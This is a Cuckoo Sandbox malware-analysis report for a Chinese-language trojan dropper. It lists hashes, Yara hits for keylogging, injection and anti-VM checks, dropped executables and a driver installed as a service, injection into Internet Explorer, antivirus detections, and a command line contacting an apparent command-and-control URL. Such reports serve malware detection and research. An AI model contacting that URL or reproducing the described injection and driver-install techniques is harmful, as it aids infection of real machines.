Cuckoo Sandbox

File 11ade02e3450116e_i_omhezwrpjh.exe

Summary
Download Resubmit sample

Size	361.0KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`5bd4ce5fc5adba0d73910740a0ec7494`
SHA1	`ad056d222b9cac9db18f7afb7c008e75c6f08082`
SHA256	`11ade02e3450116e38719853560645550b6118ea277ce704ddcbd3fe97bb0929`
SHA512	`f0186742a194f71b501b4dba1f2ef51d19ed4914f4a81b27aedffaf003231ddc59961d15cbbd731590ac75fc7a10f1b8546f97cb5441e39e6a1e8ba8f405ea52`
CRC32	`E7E4066C`
ssdeep	`None`
PDB Path	f:\è½¯ä»¶å·¥ç¨\é©±å¨ç¼ç¨\OK\KernelYK\bin\InstallSYS.pdb
Yara	vmdetect - Possibly employs anti-virtualization techniques anti_dbg - Checks if being debugged inject_thread - Code injection with CreateRemoteThread in a remote process create_service - Create a windows service network_http - Communications over HTTP network_dropper - File downloader/dropper network_tcp_socket - Communications over RAW socket escalate_priv - Escalade priviledges screenshot - Take screenshot keylogger - Run a keylogger

Score

This file is very suspicious, with a score of 10 out of 10!

Please notice: The scoring system is currently still in development and should be considered an alpha feature.

Autosubmit

Parent_Task_ID:6687576

Feedback

Expecting different results? Send us this analysis and we will inspect it. Click here

Information on Execution

Analysis

Category	Started	Completed	Duration	Routing	Logs
FILE	July 16, 2025, 8:11 p.m.	July 16, 2025, 8:16 p.m.	293 seconds	internet	Show Analyzer Log Show Cuckoo Log

Analyzer Log

2025-07-11 20:13:44,015 [analyzer] DEBUG: Starting analyzer from: C:\tmp4nivwu
2025-07-11 20:13:44,015 [analyzer] DEBUG: Pipe server name: \??\PIPE\WjJGcKCuVOezxgab
2025-07-11 20:13:44,015 [analyzer] DEBUG: Log pipe server name: \??\PIPE\InbxbMZxucxujjFGiKJIIN
2025-07-11 20:13:44,015 [analyzer] DEBUG: No analysis package specified, trying to detect it automagically.
2025-07-11 20:13:44,015 [analyzer] INFO: Automatically selected analysis package "exe"
2025-07-11 20:13:44,250 [analyzer] DEBUG: Started auxiliary module Curtain
2025-07-11 20:13:44,250 [analyzer] DEBUG: Started auxiliary module DbgView
2025-07-11 20:13:44,765 [analyzer] DEBUG: Started auxiliary module Disguise
2025-07-11 20:13:45,015 [analyzer] DEBUG: Loaded monitor into process with pid 508
2025-07-11 20:13:45,015 [analyzer] DEBUG: Started auxiliary module DumpTLSMasterSecrets
2025-07-11 20:13:45,015 [analyzer] DEBUG: Started auxiliary module Human
2025-07-11 20:13:45,015 [analyzer] DEBUG: Started auxiliary module InstallCertificate
2025-07-11 20:13:45,015 [analyzer] DEBUG: Started auxiliary module Reboot
2025-07-11 20:13:45,125 [analyzer] DEBUG: Started auxiliary module RecentFiles
2025-07-11 20:13:45,125 [analyzer] DEBUG: Started auxiliary module Screenshots
2025-07-11 20:13:45,125 [analyzer] DEBUG: Started auxiliary module Sysmon
2025-07-11 20:13:45,125 [analyzer] DEBUG: Started auxiliary module LoadZer0m0n
2025-07-11 20:13:45,280 [lib.api.process] INFO: Successfully executed process from path u'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\11ade02e3450116e_i_omhezwrpjh.exe' with arguments '' and pid 2736
2025-07-11 20:13:45,453 [analyzer] DEBUG: Loaded monitor into process with pid 2736
2025-07-11 20:13:45,967 [analyzer] INFO: Added new file to list with pid 2736 and path C:\Temp\CreateProcess.exe
2025-07-11 20:13:46,967 [analyzer] INFO: Added new file to list with pid 2736 and path C:\Temp\cavsnlfdxvpnifay.exe
2025-07-11 20:13:47,078 [analyzer] INFO: Injected into process with pid 2352 and name u'cavsnlfdxvpnifay.exe'
2025-07-11 20:13:47,203 [analyzer] INFO: Injected into process with pid 2372 and name u'iexplore.exe'
2025-07-11 20:13:47,233 [analyzer] DEBUG: Loaded monitor into process with pid 2352
2025-07-11 20:13:47,265 [analyzer] INFO: Added new file to list with pid 2352 and path \Device\NamedPipe\lsass
2025-07-11 20:13:47,405 [analyzer] DEBUG: Loaded monitor into process with pid 2372
2025-07-11 20:13:49,203 [analyzer] INFO: Added new file to list with pid 2736 and path C:\Temp\cavsnlfdxvpnifay.sys
2025-07-11 20:13:49,921 [analyzer] INFO: Added new file to list with pid 2352 and path C:\Temp\ywqojgbztr.exe
2025-07-11 20:13:49,967 [analyzer] INFO: Injected into process with pid 2064 and name u'CreateProcess.exe'
2025-07-11 20:13:50,125 [analyzer] DEBUG: Loaded monitor into process with pid 2064
2025-07-11 20:13:50,280 [analyzer] INFO: Process with pid 2736 has terminated
2025-07-11 20:13:51,280 [analyzer] INFO: Process with pid 2064 has terminated
2025-07-11 20:13:52,405 [analyzer] INFO: Added new file to list with pid 2352 and path C:\Temp\i_ywqojgbztr.exe
2025-07-11 20:13:57,796 [analyzer] INFO: Added new file to list with pid 2352 and path C:\Temp\tqljdbvtnl.exe
2025-07-11 20:17:04,296 [analyzer] INFO: Analysis timeout hit, terminating analysis.
2025-07-11 20:17:05,640 [analyzer] INFO: Terminating remaining processes before shutdown.
2025-07-11 20:17:05,640 [lib.api.process] INFO: Successfully terminated process with pid 2352.
2025-07-11 20:17:05,640 [lib.api.process] INFO: Successfully terminated process with pid 2372.
2025-07-11 20:17:05,640 [analyzer] WARNING: File at path u'\\device\\namedpipe\\lsass' does not exist, skip.
2025-07-11 20:17:05,671 [analyzer] INFO: Analysis completed.

Cuckoo Log

2025-07-16 20:11:29,351 [cuckoo.core.scheduler] INFO: Task #6721105: acquired machine win7x6424 (label=win7x6424)
2025-07-16 20:11:29,354 [cuckoo.core.resultserver] DEBUG: Now tracking machine 192.168.168.224 for task #6721105
2025-07-16 20:11:29,641 [cuckoo.auxiliary.sniffer] INFO: Started sniffer with PID 2815709 (interface=vboxnet0, host=192.168.168.224)
2025-07-16 20:11:31,072 [cuckoo.machinery.virtualbox] DEBUG: Starting vm win7x6424
2025-07-16 20:11:32,013 [cuckoo.machinery.virtualbox] DEBUG: Restoring virtual machine win7x6424 to vmcloak
2025-07-16 20:11:46,076 [cuckoo.core.guest] INFO: Starting analysis #6721105 on guest (id=win7x6424, ip=192.168.168.224)
2025-07-16 20:11:47,083 [cuckoo.core.guest] DEBUG: win7x6424: not ready yet
2025-07-16 20:11:52,173 [cuckoo.core.guest] INFO: Guest is running Cuckoo Agent 0.10 (id=win7x6424, ip=192.168.168.224)
2025-07-16 20:11:52,289 [cuckoo.core.guest] DEBUG: Uploading analyzer to guest (id=win7x6424, ip=192.168.168.224, monitor=latest, size=6660546)
2025-07-16 20:11:53,505 [cuckoo.core.resultserver] DEBUG: Task #6721105: live log analysis.log initialized.
2025-07-16 20:11:54,469 [cuckoo.core.resultserver] DEBUG: Task #6721105 is sending a BSON stream
2025-07-16 20:11:54,892 [cuckoo.core.resultserver] DEBUG: Task #6721105 is sending a BSON stream
2025-07-16 20:11:55,779 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'shots/0001.jpg'
2025-07-16 20:11:55,800 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 133456
2025-07-16 20:11:56,674 [cuckoo.core.resultserver] DEBUG: Task #6721105 is sending a BSON stream
2025-07-16 20:11:56,797 [cuckoo.core.resultserver] DEBUG: Task #6721105 is sending a BSON stream
2025-07-16 20:11:59,563 [cuckoo.core.resultserver] DEBUG: Task #6721105 is sending a BSON stream
2025-07-16 20:11:59,933 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'files/a60ee64c3044b411_ywqojgbztr.exe'
2025-07-16 20:11:59,946 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 369664
2025-07-16 20:12:04,661 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'files/62b93879619b1318_i_ywqojgbztr.exe'
2025-07-16 20:12:04,668 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 369664
2025-07-16 20:12:08,268 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:12:23,380 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:12:38,502 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:12:53,676 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:13:08,841 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:13:23,953 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:13:39,079 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:13:54,237 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:14:09,343 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:14:24,571 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:14:39,684 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:14:54,830 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:15:09,913 [cuckoo.core.guest] DEBUG: win7x6424: analysis #6721105 still processing
2025-07-16 20:15:14,101 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'curtain/1752257824.58.curtain.log'
2025-07-16 20:15:14,106 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 36
2025-07-16 20:15:15,079 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'sysmon/1752257825.55.sysmon.xml'
2025-07-16 20:15:15,161 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 10796926
2025-07-16 20:15:15,188 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'files/293cd138f57316a6_cavsnlfdxvpnifay.sys'
2025-07-16 20:15:15,194 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'files/1ce787f372cb56c8_tqljdbvtnl.exe'
2025-07-16 20:15:15,198 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'files/a0ed9d714498d54c_createprocess.exe'
2025-07-16 20:15:15,200 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 3584
2025-07-16 20:15:15,208 [cuckoo.core.resultserver] DEBUG: Task #6721105: File upload for 'files/5dce0a82b3e328b0_cavsnlfdxvpnifay.exe'
2025-07-16 20:15:15,210 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 369664
2025-07-16 20:15:15,213 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 300544
2025-07-16 20:15:15,218 [cuckoo.core.resultserver] DEBUG: Task #6721105 uploaded file length: 369664
2025-07-16 20:15:15,221 [cuckoo.core.resultserver] DEBUG: Task #6721105 had connection reset for <Context for LOG>
2025-07-16 20:15:15,968 [cuckoo.core.guest] INFO: win7x6424: analysis completed successfully
2025-07-16 20:15:15,978 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Redsocks
2025-07-16 20:15:16,005 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Sniffer
2025-07-16 20:15:16,917 [cuckoo.machinery.virtualbox] INFO: Successfully generated memory dump for virtual machine with label win7x6424 to path /srv/cuckoo/cwd/storage/analyses/6721105/memory.dmp
2025-07-16 20:15:16,918 [cuckoo.machinery.virtualbox] DEBUG: Stopping vm win7x6424
2025-07-16 20:16:21,472 [cuckoo.core.resultserver] DEBUG: Stopped tracking machine 192.168.168.224 for task #6721105
2025-07-16 20:16:21,922 [cuckoo.core.scheduler] DEBUG: Released database task #6721105
2025-07-16 20:16:21,953 [cuckoo.core.scheduler] INFO: Task #6721105: analysis procedure completed

Signatures

Yara rules detected for file (10 events)

description	Possibly employs anti-virtualization techniques	rule	vmdetect
description	Checks if being debugged	rule	anti_dbg
description	Code injection with CreateRemoteThread in a remote process	rule	inject_thread
description	Create a windows service	rule	create_service
description	Communications over HTTP	rule	network_http
description	File downloader/dropper	rule	network_dropper
description	Communications over RAW socket	rule	network_tcp_socket
description	Escalade priviledges	rule	escalate_priv
description	Take screenshot	rule	screenshot
description	Run a keylogger	rule	keylogger

Allocates read-write-execute memory (usually to unpack itself) (8 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefd6bf000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefd696000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefd696000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefd696000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefaf9b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3774000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3824000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory July 11, 2025, 9:06 p.m.	process_identifier: 2372 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003450000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

This executable has a PDB path (1 event)

pdb_path

f:\è½¯ä»¶å·¥ç¨\é©±å¨ç¼ç¨\OK\KernelYK\bin\InstallSYS.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 11, 2025, 9:13 p.m.		1	1	0

Foreign language identified in PE resource (7 events)

name

RT_ICON

language

LANG_CHINESE

filetype

Device independent bitmap graphic, 13 x 26 x 8, image size 208, 256 important colors

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005bec0

size

0x0000052c

name

RT_ICON

language

LANG_CHINESE

filetype

Device independent bitmap graphic, 13 x 26 x 8, image size 208, 256 important colors

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005bec0

size

0x0000052c

name

RT_ICON

language

LANG_CHINESE

filetype

Device independent bitmap graphic, 13 x 26 x 8, image size 208, 256 important colors

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005bec0

size

0x0000052c

name

RT_ICON

language

LANG_CHINESE

filetype

Device independent bitmap graphic, 13 x 26 x 8, image size 208, 256 important colors

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005bec0

size

0x0000052c

name

RT_DIALOG

language

LANG_CHINESE

filetype

data

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005c3ec

size

0x00000094

name

RT_GROUP_ICON

language

LANG_CHINESE

filetype

data

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005c480

size

0x0000003e

name

RT_VERSION

language

LANG_CHINESE

filetype

data

sublanguage

SUBLANG_CHINESE_SIMPLIFIED

offset

0x0005c4c0

size

0x000002cc

Creates executable files on the filesystem (5 events)

file	C:\Temp\i_ywqojgbztr.exe
file	C:\Temp\cavsnlfdxvpnifay.exe
file	C:\Temp\tqljdbvtnl.exe
file	C:\Temp\ywqojgbztr.exe
file	C:\Temp\CreateProcess.exe

Creates a service (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW July 11, 2025, 9:13 p.m.	service_start_name: start_type: 3 password: display_name: cavsnlfdxvpnifay filepath: C:\Temp\cavsnlfdxvpnifay.sys service_name: cavsnlfdxvpnifay filepath_r: C:\Temp\cavsnlfdxvpnifay.sys desired_access: 983551 service_handle: 0x00898398 error_control: 0 service_type: 1 service_manager_handle: 0x00898438	1	9012120	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (1 event)

Time & API	Arguments	Status	Return	Repeated
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: pythonw.exe process_identifier: 544	1	1	0

Repeatedly searches for a not-found process, you may want to run a web browser during analysis (35 events)

Time & API	Arguments	Status	Return	Repeated
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: 11ADE02E3450116E_I_OMHEZWRPJH.EXE process_identifier: 2736		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: CAVSNLFDXVPNIFAY.EXE process_identifier: 2352		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0
Process32NextW July 11, 2025, 9:13 p.m.	snapshot_handle: 0x00000064 process_name: IEXPLORE.EXE process_identifier: 2372		0	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

C:\Program Files\Internet Explorer\iexplore.exe http://xytets.com:2345/t.asp?os=home

File has been identified by 13 AntiVirus engine on IRMA as malicious (13 events)

G Data Antivirus (Windows)	Virus: Trojan.Generic.7761207 (Engine A), Win32.Trojan.PSE1.YSVY3N (Engine B)
Avast Core Security (Linux)	MBR:Backboot-D [Rtk]
C4S ClamAV (Linux)	Win.Malware.Mikey-9949492-0
Trellix (Linux)	Generic Dropper.aoe trojan
WithSecure (Linux)	Trojan.TR/Rogue.7909438
eScan Antivirus (Linux)	Trojan.Generic.7761207(DB)
ESET Security (Windows)	Win32/Agent.PGA trojan
Sophos Anti-Virus (Linux)	Troj/Drop-GZ
DrWeb Antivirus (Linux)	Trojan.Click2.32800
ClamAV (Linux)	Win.Malware.Mikey-9949492-0
Bitdefender Antivirus (Linux)	Trojan.Generic.7761207
Kaspersky Standard (Windows)	Trojan.Win32.Tiny.cm
Emsisoft Commandline Scanner (Windows)	Trojan.Generic.7761207 (B)

File has been identified by 28 AntiVirus engines on VirusTotal as malicious (28 events)

nProtect	Trojan-Dropper/W32.Daws.369664
McAfee	Generic Dropper.afz
TheHacker	Trojan/Agent.pga
K7AntiVirus	Trojan
F-Prot	W32/Pleh.A.gen!Eldorado
Avast	Win32:Trojan-gen
Kaspersky	Trojan-Dropper.Win32.Daws.aumx
BitDefender	Trojan.Generic.KDV.717130
Emsisoft	Packed.Win32.PePatch!IK
Comodo	TrojWare.Win32.Clicker.naf
F-Secure	Trojan.Generic.KDV.717130
DrWeb	Trojan.Click2.32800
VIPRE	Trojan.Win32.Invader.b (v)
AntiVir	TR/Agent.300544.50
Sophos	Mal/Behav-027
Jiangmin	Trojan/Invader.hct
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	TrojanDropper:Win32/Systex.A
ViRobot	Dropper.Daws.Gen.A
GData	Trojan.Generic.KDV.717130
Commtouch	W32/Pleh.A.gen!Eldorado
ESET-NOD32	Win32/Agent.PGA
VBA32	Trojan-Dropper.Daws.aumx
Rising	Trojan.Spy.Texy!4898
Ikarus	Packed.Win32.PePatch
Fortinet	W32/Agent.XAW!tr
AVG	Dropper.Generic6.BPPW
Panda	Trj/Genetic.gen

Screenshots

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action	VT	Location
No hosts contacted.

Browser recommendation

File 11ade02e3450116e_i_omhezwrpjh.exe

Summary Download Resubmit sample

Score

Autosubmit

Feedback

Information on Execution

Analyzer Log

Cuckoo Log

Signatures

Feedback

Summary
Download Resubmit sample